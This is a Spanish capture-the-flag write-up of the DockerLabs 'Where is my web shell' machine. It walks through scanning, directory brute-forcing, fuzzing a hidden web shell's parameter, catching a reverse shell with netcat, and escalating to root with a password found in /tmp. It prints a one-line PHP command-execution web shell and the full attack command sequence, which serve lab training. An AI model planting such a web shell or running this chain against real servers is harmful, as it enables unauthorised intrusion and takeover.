



# Where is my web shell (writeup) - Docker labs

Dificultad : Fácil

Escrito por : tellmefred

## Introducción:

En “Where is My Web Shell”, los participantes explorarán técnicas avanzadas de fuzzing web para descubrir puntos vulnerables en una aplicación web. Además, se emplearán métodos de fuerza bruta para identificar directorios y archivos ocultos, con el objetivo de localizar una web shell que se haya infiltrado en el sistema. Esta experiencia práctica permitirá a los usuarios familiarizarse con herramientas y metodologías esenciales para la detección y explotación de vulnerabilidades web.

## Reconocimiento:

Comenzamos comprobando la conectividad con un ping.

```
└─(root㉿tellmefred)-[/home/tellmefred/Desktop]
└─# ping 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.108 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.111 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.102 ms
^C
--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3080ms
rtt min/avg/max/mdev = 0.066/0.096/0.111/0.018 ms
```

Y pasamos a un nmap que nos descubre únicamente el puerto 80 http.

```
└─(root㉿tellmefred)-[/home/tellmefred/Desktop]
└─# nmap -sS -sC -p- --open -sV -Pn --min-rate 2500 172.17.0.2 -oN allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 10:41 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Academia de Ingl\xC3\xA9s (Inglis Academi)
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
```

Hacemos whatweb a ver que tenemos.

```
└─(root㉿tellmefred)-[/home/tellmefred/Desktop]
└─# whatweb 172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Academia de Inglés (Inglis Academi)]
```

Y accedemos a la pagina con la ip y el index.html



Inmediatamente me pongo a hacer una búsqueda de dir, con gobuster.

```
[root@tellmefred]-[~/home/tellmefred/Desktop]
# gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,py,html
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://172.17.0.2/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Extensions:  php,txt,py,html
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
./php           (Status: 403) [Size: 275]
/index.html    (Status: 200) [Size: 2510]
/.html          (Status: 403) [Size: 275]
/shell.php      (Status: 500) [Size: 0]
/warning.html  (Status: 200) [Size: 315]
/.html          (Status: 403) [Size: 275]
/.php           (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
Progress: 1102800 / 1102805 (100.00%)
=====
Finished
=====
```

Y nos topamos con esto en el dir warning.html, busquemos esa web shell que es probable que tenga un diseño como el siguiente.



```
[root@tellmefred]~# cat cmd1.php
<?php
    system($_GET['cmd']);
?>
```

Entonces conociendo como es la web Shell lo que haremos es una búsqueda a la flag que debemos usar para correr el comando.

```
[root@tellmefred]~# wfuzz -c --hl=0 -t 200 -w /usr/share/dict/wordlist-probable.txt -u "http://172.17.0.2/shell.php?FUZZ=id"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://172.17.0.2/shell.php?FUZZ=id
Total requests: 203808
=====
ID      Response   Lines   Word    Chars   Payload
=====
000025150:   200       2 L     4 W     66 Ch    "parameter"
```

## Explotación:

Sabiendo que esa flag es “parameter” ejecutamos id como prueba y vemos que somos www-data.



Una reverse shell típica en la web y accedemos a la maquina.

```
[root@tellmefred]# nc -lvpn 9001
listening on [any] 9001 ...
connect to [192.168.223.128] from (UNKNOWN) [172.17.0.2] 39838
bash: cannot set terminal process group (22): Inappropriate ioctl for device
bash: no job control in this shell
www-data@3878828b2e98:/var/www/html$
```

Aquí tratamiento de la tty.

```
[root@tellmefred]# nc -lvpn 9001
listening on [any] 9001 ...
connect to [192.168.223.128] from (UNKNOWN) [172.17.0.2] 39838
bash: cannot set terminal process group (22): Inappropriate ioctl for device
bash: no job control in this shell
www-data@3878828b2e98:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@3878828b2e98:/var/www/html$ ^Z
zsh: suspended nc -lvpn 9001

[root@tellmefred]# stty raw -echo; fg
[1] + continued nc -lvpn 9001

www-data@3878828b2e98:/var/www/html$ export TERM=xterm
www-data@3878828b2e98:/var/www/html$ ls
clase_ingles.jpg escuela.jpg index.html shell.php warning.html
www-data@3878828b2e98:/var/www/html$
```

# Escalada de privilegios:

y verificando la pagina recuerdo que decía (Guardo un secreto en /tmp).

## Contáctanos

;Contáctanos hoy mismo para más información sobre nuestros programas de enseñanza de inglés!. Guardo un secretito en /tmp ;)

Me dirijo a la carpeta tmp con cd /tmp, hago un ls y no veo nada y recuerdo que en Linux los ficheros con punto se ocultan automáticamente así que procedo a hacer un ls -la que me ensena los ficheros ocultos y me encuentro con un fichero que se llama .secret.txt y aquí nos topamos la clave del root y listo tenemos acceso root.

```
www-data@3878828b2e98:/var/www/html$ cd /tmp
www-data@3878828b2e98:/tmp$ ls
www-data@3878828b2e98:/tmp$ ls -la
total 12
drwxrwxrwt 1 root root 4096 May 19 06:26 .
drwxr-xr-x 1 root root 4096 May 19 06:26 ..
-rw-r--r-- 1 root root 21 Apr 12 16:07 .secret.txt
www-data@3878828b2e98:/tmp$ cat .secret.txt
contraseñaroot123
www-data@3878828b2e98:/tmp$ su root
Password:
root@3878828b2e98:/tmp# whoami
root
root@3878828b2e98:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@3878828b2e98:/tmp# █
```

Maquina rooted.